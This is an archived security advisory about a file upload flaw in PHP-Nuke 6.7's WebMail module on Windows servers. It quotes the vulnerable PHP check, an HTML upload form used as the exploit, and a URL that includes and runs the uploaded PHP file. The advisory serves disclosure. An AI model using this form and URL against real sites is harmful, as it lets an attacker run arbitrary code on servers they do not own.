Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Web :: PHP :: bt1275.txt

PHP-Nuke v 6.7 + Windows = File Upload

Informations :
Language : PHP
Version : 6.7
Website :
Problem : File Upload

PHP Code/Location :
modules/WebMail/mailattach.php :

if (isset($userfile) AND $userfile != "none" AND !ereg("/", $userfile) AND 
!ereg("\.\.", $userfile) AND !ereg("%", $userfile)) {
    if (ini_get(file_uploads) AND $attachments == 1) {
	$updir = "tmp";
	@copy($userfile, "$updir/$userfile_name");


Exploit :
Anyone can choose the path, the name and the extention of a file to upload. 
Here the file is saved into http://[target]/modules/AvantGo/language/bad.php 
and can be included and executed with the URL 
http://[target]/modules.php?name=AvantGo&file=langague/bad :

method="POST" ENCTYPE="multipart/form-data">
<input type="hidden" name="attachments" value="1">
<input type="file" name="userfile"><br>
<input type="submit" name="Send File>

It will work with Windows only because the temp name of the file is anything 
like this : c:\temp\php054.TMP so $userfile doesn't contain any '\' 

More details/Solution :
A patch and more details can be found on


Hotmail: votre e-mail gratuit !

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH